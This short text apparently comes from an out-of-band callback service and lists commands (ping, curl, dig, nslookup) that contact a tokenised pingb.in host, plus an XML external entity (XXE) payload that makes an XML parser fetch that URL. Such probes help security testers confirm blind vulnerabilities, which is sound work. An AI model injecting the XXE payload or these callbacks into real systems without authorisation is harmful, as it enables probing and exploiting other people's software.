$ ping -c1 -p 00f70f7794444cc959fdb0fcb7f6af00 pingb.in
 

$ curl pingb.in/p/f70f7794444cc959fdb0fcb7f6af
 

$ dig f70f7794444cc959fdb0fcb7f6af @pingb.in
 

$ dig f70f7794444cc959fdb0fcb7f6af.ns.pingb.in
 

C:\> nslookup f70f7794444cc959fdb0fcb7f6af pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/f70f7794444cc959fdb0fcb7f6af">]>
    <foo>&xxe;</foo>